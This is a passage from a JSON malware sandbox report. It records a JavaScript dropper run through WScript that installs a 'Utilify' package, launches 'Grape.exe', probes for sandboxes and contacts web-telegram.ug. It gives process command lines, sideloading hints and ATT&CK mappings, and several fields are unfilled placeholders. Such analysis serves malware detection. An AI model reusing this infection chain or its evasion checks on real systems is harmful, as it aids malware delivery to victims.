Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"Utilify_8u8a563i.tmp\" called \"GetActiveWindow\" (UID: 00000000-00000952)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002804)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002804)\n \"wscript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002804)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00002804)\n \"wscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006836)\n \"wscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00006836)\n \"Utilify_8u8a563i.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005108)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\"; File: \"00000000-00005108.00000002.127043.00DF1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$36","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformationForYear\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00000952.00000001.125240.00439000.00000004.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 18191-153-00DFC0D4","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Creates file in AppData directory","description":"\"Grape.exe\" writes to a file \"%APPDATA%\\setup.txt\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-322","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: D3DCOMPILER_47.DLL\n AMSI.DLL\n %LOCALAPPDATA%\\SUPERMAXIONQUICKMAXLITE\\SWIFTSHADER\\LIBGLESV2.DLL\n %LOCALAPPDATA%\\SUPERMAXIONQUICKMAXLITE\\SWIFTSHADER\\LIBEGL.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"Utilify_8u8a563i.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")\n \"Utilify_8u8a563i.tmp\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3a","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Utilify_8u8a563i.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Utilify_8u8a563i.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Grape.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\UTILIFY_8U8A563I.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"Utilify_8u8a563i.tmp\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"wscript.exe\")\n file/memory contains long string(File: \"_setup64.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$3c","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$3d","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\svc_ylb6ijl1\\wscript.exe\" //B //E:JScript \"%TEMP%\\svc_ylb6ijl1\\\" - (UID: 00000000-00002804), \"wscript.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\Utilify_8u8a563i.exe\"\" - (UID: 00000000-00006836), \"Utilify_8u8a563i.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\is-97LI8WEXMB.tmp\\Utilify_8u8a563i.tmp\" /SL5=\"$B024C,55373157,893952,C:\\Users\\%OSUSER%\\AppData\" - (UID: 00000000-00005108)\n \"Utilify_8u8a563i.tmp\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe\"\" - (UID: 00000000-00000952)\n \"Grape.exe\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe\" --type=utility --field-trial-handle=1680,9351082474623949860,10\" - (UID: 00000000-00004472)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"Grape.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.4472.4404.14718425742814344339\" - (UID: 00000000-00004472)\n \"Grape.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.4472.4404.13101635180258920012\" - (UID: 00000000-00004472)\n \"Grape.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.4472.4404.1472765061980805171\" - (UID: 00000000-00004472)\n \"Grape.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.4472.4404.10371429797410110446\" - (UID: 00000000-00004472)\n \"Grape.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\mojo.4472.4404.14007100471885063922\" - (UID: 00000000-00004472)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"web-telegram.ug\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"16.15.0.240:443\"\n \"104.21.15.2:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to load modules (API string)","description":"Found reference to API \"D3DLoadModule\" (Indicator: \"LoadModule\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-424","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"Windows.CreateThreadTime\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000000.124993.D4240000.00000004.mdmp, 00000000-00004092.00000002.128835.D4240000.00000004.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000952.00000000.123319.0043C000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$40","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$41","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"wscript.exe\" as clean (type is \"PE32+ executable for MS Windows 10.00 (GUI) x86-64 6 sections\"), Antivirus vendors marked dropped file \"amsi.dll\" as clean (type is \"MS-DOS executable MZ for MS-DOS\"), Antivirus vendors marked dropped file \"_setup64.tmp\" as clean (type is \"PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections\"), Antivirus vendors marked dropped file \"Grape.exe\" as clean (type is \"PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections\"), Antivirus vendors marked dropped file \"d3dcompiler_47.dll\" as clean (type is \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections\"), Antivirus vendors marked dropped file \"libEGL.dll\" as clean (type is \"PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Executes a JavaScript file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin.js\"\" (UID: 00000000-00002804)\n Process \"wscript.exe\" with commandline \"//B //E:JScript \"%TEMP%\\\\svc_ylb6ijl1\\\\sw.js\"\" (UID: 00000000-00006836)","origin":"Monitored Target","mitre_attack_id":"T1059.007","relevance":3,"id":"target-167","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"Grape.exe\" failed to load missing module \"D3DCompiler_47.dll\" - [base:0; Status:c000000d]\n \"Grape.exe\" failed to load missing module \"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\swiftshader\\libGLES_CM.dll\" - [base:0; Status:c0000135]\n \"Grape.exe\" failed to load missing module \"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\swiftshader\\libGLES_CM_translator.dll\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"d3dcompiler_47.dll\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n \"ffmpeg.dll\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"libEGL.dll\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"wscript.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\mojo.4472.4404.14718425742814344339\n Found string - \\\\.\\pipe\\mojo.4472.4404.13101635180258920012\n Found string - \\\\.\\pipe\\mojo.4472.4404.1472765061980805171\n Found string - \\\\.\\pipe\\mojo.4472.4404.10371429797410110446\n Found string - \\\\.\\pipe\\mojo.4472.4404.14007100471885063922","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 5DE10000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 5DE10000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 7D5B0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 7C0E0000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 7D5B0000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 7C0E0000\n \"Utilify_8u8a563i.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 762E0000\n \"Utilify_8u8a563i.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73630000\n \"Utilify_8u8a563i.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 762E0000\n \"Utilify_8u8a563i.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73630000\n \"Grape.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 7D5B0000\n \"Grape.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 7C0E0000\n \"Grape.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 7F6C0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7D7C0000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7D7C0000\n \"Utilify_8u8a563i.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 756C0000\n \"Utilify_8u8a563i.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 756C0000\n \"Grape.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7D7C0000\n \"Grape.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 842D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"ADODB.Stream.6.0.CreateObject\" ... \n \"wscript.exe\" called \"Msxml2.ServerXMLHTTP.6.0.CreateObject\" ... \n \"wscript.exe\" called \"ADODB.Stream.6.0.CreateObject\" ... ","origin":"API 